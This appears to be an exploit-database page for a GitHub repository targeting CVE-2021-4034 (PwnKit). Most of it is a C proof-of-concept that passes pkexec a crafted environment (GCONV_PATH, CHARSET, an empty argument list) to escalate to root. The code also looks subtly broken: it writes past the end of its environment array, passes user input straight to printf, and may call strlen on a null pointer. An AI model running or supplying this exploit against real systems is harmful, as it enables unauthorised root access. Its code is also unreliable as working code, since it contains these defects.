Exploit databaseDownload repository ZIP
GH-48a2f44de3b3e5ea12304ba224dfe9e4
cdxiaodong/cve-2021-4034-touch
Sources for CVE-2021-4034
144 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
cdxiaodong/cve-2021-4034-touchRevision 97d714131351
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cve-2021-4034.c
C · 666 bytes#include <unistd.h>
#include <string.h>
int main(int argc, char **argv) {
char * const args[] = {
NULL
};
char * environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
char *arg = NULL;
if (argc > 1) {
arg = argv[1];
printf(arg);
}
char *pwnkit_arg = malloc(strlen(arg) + 20);
sprintf(pwnkit_arg, "PWNKIT_ARG=%s", arg);
environ[5] = pwnkit_arg;
environ[6] = NULL;
return execve("/usr/bin/pkexec", args, environ);
}